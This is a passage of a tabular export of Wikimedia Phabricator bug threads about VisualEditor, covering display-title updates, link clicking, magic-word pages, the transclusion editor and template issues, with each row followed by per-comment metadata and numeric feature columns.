+https://gerrit.wikimedia.org/r/140591",,,1403133467,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233313,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,Patch reverted; re-opening.,,,1403122919,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,True,,,50,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+233308,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 139205 merged by jenkins-bot:
+Update displaytitle on save
+
+https://gerrit.wikimedia.org/r/139205",,,1403058210,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233304,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Change 139205 had a related patch set uploaded by Alex Monk:
+Update displaytitle on save
+
+https://gerrit.wikimedia.org/r/139205",,,1402607917,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,49,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233301,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,Yeah it's actually kind of a pain to do that. Let's update it on save.,,,1402607843,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+233299,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"So now that the dependency is merged, Parsoid now recognises {{DISPLAYTITLE:stuff}} as a meta property (instead of a template), and VE provides a box on the options page to change the display title. I think what we should do is update the title (almost) as soon as it's changed.",,,1402590458,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+233296,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Confirmed that adding italics to an existing page doesnt display italics on save - it does display the italic title after save + refresh.
+
+However it does display italics on save, if the DISPLAYTITLE is set for a new page. 
+
+Tested with {{italics title}} and {{DISPLAYTITLE:''ItalicsTitle''}} on testwiki
+
+https://test.wikipedia.org/wiki/ItalicsTitle",,,1374040482,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+233292,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"I think this includes my problem with {{tl|italic title}}, which is at two levels:
+# When I add it, I expect to see it take effect immediately - it doesn't (so I wonder whether I remembered to add it, whether I formatted it correctly, ... etc)
+# Even when I save the page, it doesn't take effect until I refresh the page (same set of worries).",,,1372778502,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1
+233288,VisualEditor: Title is not updated on save if DISPLAYTITLE changed,"Created attachment 12689
+Wrong title displayed in ""correct title"" template.
+
+I think it's related, so I'm sticking this here.
+
+After http://it.wikipedia.org/w/index.php?title=Utente:Dry_Martini/Cricca&diff=prev&oldid=59761793, the page, containing a ""Correct title"" template, would display, after being saved, the message usually generated by that template, although it disappears if you refresh. 
+
+I tried it myself and this time I actually changed the title in the template.
+The screenshot shows what happened after http://it.wikipedia.org/w/index.php?title=Utente%3ADry_Martini%2FCricca&diff=59761896&oldid=59761793 my edit.
+Basically, the page retains its formerly given title, while displaying in the message the one I chose. Again, everything is ok if you refresh.
+(For the record, the usual title is ""There is no Cabal"", while mine reads ""There's a Cabal, and it's using VisualEditor"".)
+
+**Attached**: {F11086}",,,1372537609,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-hhff6uyjp6fqhsgfm4vx,task_subcomment,,True,c1,2,False,,,-1,,0,1,0,1,0,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+52321,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page","Using ctrl-click (but not middle-click) on a ""content editable"" link, does not currently work with Chromium37, but does work with Firefox39.
+Using Middle-mouse-click on links does not work in either browser
+Using Right-mouse-click to show the context menu with ""Open link in new tab/window"" does work in both browsers.
+
+(Prior description had different results for Firefox 22.
+Ed notes below, that this is all browser-specific behaviour, and rather than overriding that, we should just solve {T56759} (Done))
+
+See also: {T52741}",Medium,50.0,1372367280,1438983806.0,PHID-USER-3uecblbxq24ycewm2cog,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_description,declined,True,c1,2,False,False,False,-1,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+504444,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page",The main request here was satisfied in {T56759} and for non-links more generally in the context menu stuff done in March-ish. I agree with Ed that breaking people's browsers' behaviour isn't desireable.,,,1438990382,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,True,,,109,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,0
+504373,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page",The main request here was satisfied in {T56759} and for non-links more generally in the context menu stuff done in March-ish. I agree with Ed that breaking people's browsers' behaviour it's desireable.,,,1438983806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,True,,,109,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,0
+504282,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page","Note/update: Using ctrl-click (but not middle-click) on a ""content editable"" link, does not currently work with Chromium37, but does work with Firefox39. 
+I will update the description to clarify.",,,1438974040,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,False,,,109,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+232007,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page","Middle click/ctrl click on *content editable* links in browser specific behaviour, and isn't necessarily going to be the same as for read-only links. Rather than override the browser's default behaviour we will provide a consistent way to follow links with bug 54759.
+
+Image nodes are protected from editing with highlights so we're not going to able to provide the normal context menu. I can't see a compelling use case, but such functionality may be available in the image dialog in the future.
+
+Suggest wontfix for this.",,,1404214069,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,True,,,52,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+232001,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page",*** Bug 64974 has been marked as a duplicate of this bug. ***,,,1402552906,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231996,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page","The mouse cursor not changing is bug 50741 
+
+CTRL+click / right click and open in a new window/tab does work for internal and external links. It does not work for images.",,,1378727693,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+231990,"VisualEditor: Ctrl-Click / middle-click on a link should open it in another window; on an image, should open the image's description page","Some more details: 
+
+* Middle mouse click on internal text links: OK (but mouse cursor wrong)
+
+* Middle mouse click on images: NOT OK
+* Middle mouse click on external links: NOT OK",,,1372797445,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-kmp5cza2rwu3qkvnz3gy,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0
+52289,VisualEditor: VE won't load on empty page containing only a magic word,"Try and edit this version of my sandbox http://it.wikipedia.org/w/index.php?title=Utente:Elitre_(WMF)/Sandbox&oldid=59706098 which is empty except for a __NOINDEX__ ; VE just keeps loading and won't allow to edit. Happens at least with Vector on Chrome and Monobook on FF.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372344120,1373905170.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-yelwyuxn7ull4zzjha5n,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,1,0
+255413,VisualEditor: VE won't load on empty page containing only a magic word,"Fixed in the above commit, which we will push out today.",,,1373905170,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yelwyuxn7ull4zzjha5n,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+255405,VisualEditor: VE won't load on empty page containing only a magic word,"Change 73745 merged by jenkins-bot:
+Extend empty document check to check for meta-only data
+
+https://gerrit.wikimedia.org/r/73745",,,1373905132,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yelwyuxn7ull4zzjha5n,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+255399,VisualEditor: VE won't load on empty page containing only a magic word,"Change 73745 had a related patch set uploaded by Esanders:
+Extend empty document check to check for meta-only data
+
+https://gerrit.wikimedia.org/r/73745",,,1373886485,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yelwyuxn7ull4zzjha5n,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+255392,VisualEditor: VE won't load on empty page containing only a magic word,This happens because the converter generates a document with only an alienMeta (the magic word) and an empty internal list. The logic for generating an empty paragraph to prevent an empty document doesn't kick in if the document is non-empty from the converter's perspective but only contains meta items.,,,1372349806,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-yelwyuxn7ull4zzjha5n,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+52281,"VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message","When the transclusion editor is emptied out (e.g. by removing all the items), it should not just be blank. This looks broken and is confusing to the user (should I wait for something to appear? is it stuffed/errored out?)
+
+There needs to be some kind of textual label in the empty transclusion editor, that makes two points:
+
+1. that the user can click [+] to add something to the transclusion
+2. that by clicking ""apply changes"", it will remove the transclusion
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1372335660,1427406351.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-pquc72fdsgxf4k4jbbrl,task_description,resolved,True,c1,2,False,False,False,-1,,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+433705,"VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message","Change 198131 merged by jenkins-bot:
+Fixed the empty Transclusion Box problem
+
+[[https://gerrit.wikimedia.org/r/198131]]",,,1427409486,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pquc72fdsgxf4k4jbbrl,task_subcomment,,True,c1,3,False,,,90,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+433660,"VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message","Change 198131 had a related patch set uploaded (by Jforrester):
+Fixed the empty Transclusion Box problem
+
+[[https://gerrit.wikimedia.org/r/198131]]
+",,,1427406328,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pquc72fdsgxf4k4jbbrl,task_subcomment,,True,c1,3,False,,,90,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+254901,"VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message",*** Bug 51812 has been marked as a duplicate of this bug. ***,,,1374702151,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-pquc72fdsgxf4k4jbbrl,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+254899,"VisualEditor: Empty transclusion editor is empty, needs some kind of reassuring message","Created attachment 12684
+Screenshot of bug
+
+Just found this lovely screenshot that I meant to upload.
+
+**Attached**: {F11889}",,,1372490316,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-pquc72fdsgxf4k4jbbrl,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+52279,VisualEditor: Link input widget outwits itself with the leading colon for Category/file links,"1. Go to some page and edit in VE
+2. Click the ""Link"" toolbar button, type ""Category:"" and click a category that appears
+
+The leading colon is correctly added, but the category now appears in red in the dropdown as if non-existent (although it shows up under ""matching pages"", not ""new pages"").
+
+Probably, the link inspector should be ignoring/stripping the preceding colon when checking whether the page exists.
+
+Same thing for links to File: pages.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372331940,1403746179.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-xcrom5qozpxh2fsjz7v7,task_description,resolved,True,c1,2,False,False,False,-1,,1,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+254820,VisualEditor: Link input widget outwits itself with the leading colon for Category/file links,*** Bug 63353 has been marked as a duplicate of this bug. ***,,,1403995088,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xcrom5qozpxh2fsjz7v7,task_subcomment,,True,c1,3,True,,,51,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+254815,VisualEditor: Link input widget outwits itself with the leading colon for Category/file links,"Change 142136 merged by jenkins-bot:
+Don't prepend extra colon to category/file links
+
+https://gerrit.wikimedia.org/r/142136",,,1403746149,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xcrom5qozpxh2fsjz7v7,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254810,VisualEditor: Link input widget outwits itself with the leading colon for Category/file links,"Change 142136 had a related patch set uploaded by Alex Monk:
+Don't prepend extra colon to category/file links
+
+https://gerrit.wikimedia.org/r/142136",,,1403731077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xcrom5qozpxh2fsjz7v7,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254805,VisualEditor: Link input widget outwits itself with the leading colon for Category/file links,"Two different things look like they're pre-pending the "":"". Helpful. :-)",,,1402549673,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xcrom5qozpxh2fsjz7v7,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0
+52269,VisualEditor: enwiki template {{columns-list}} looks particularly-broken at high zoom/low width,"Screenshot
+
+See the screenshot (provided by a contributor). I suspect it's down to the screen resolution. Firefox 21.0, Mac OS X 10.6.8.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11863}",Medium,50.0,1372302300,1404168653.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-s6tr75wkga6yoxhfytgb,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+254354,VisualEditor: enwiki template {{columns-list}} looks particularly-broken at high zoom/low width,"(In reply to This, that and the other from comment #2)
+> It looks no more broken to me in VE than it does in view mode.
+
+Yeah; marking as fixed.",,,1404168653,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s6tr75wkga6yoxhfytgb,task_subcomment,,True,c1,3,True,,,52,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,1
+254350,VisualEditor: enwiki template {{columns-list}} looks particularly-broken at high zoom/low width,It looks no more broken to me in VE than it does in view mode.,,,1393633426,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-s6tr75wkga6yoxhfytgb,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0
+254344,VisualEditor: enwiki template {{columns-list}} looks particularly-broken at high zoom/low width,I wonder if this is related to bug 50036?,,,1372325604,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-s6tr75wkga6yoxhfytgb,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+52268,VisualEditor: Let users relabel (or renumber if auto-numbered) parameters in the transclusion dialog,"See the report at https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Failed_attempt_to_use_VE_to_remove_a_template_parameter
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1372302060,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-g7bv7yb2notx65burp7i,task_description,open,True,c1,2,False,False,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254297,VisualEditor: Let users relabel (or renumber if auto-numbered) parameters in the transclusion dialog,"Comment from bug 51558:
+
+An en.wp [[user:3family6]] comments about [[Template:Album ratings]]:
+""This is an instance where the transclusion option on VE, while it does work,
+is more inconvenient than just wiki-markup. In wikimarkup, if you want to
+insert a new review into the middle of the template, i.e. between reviews 3 and
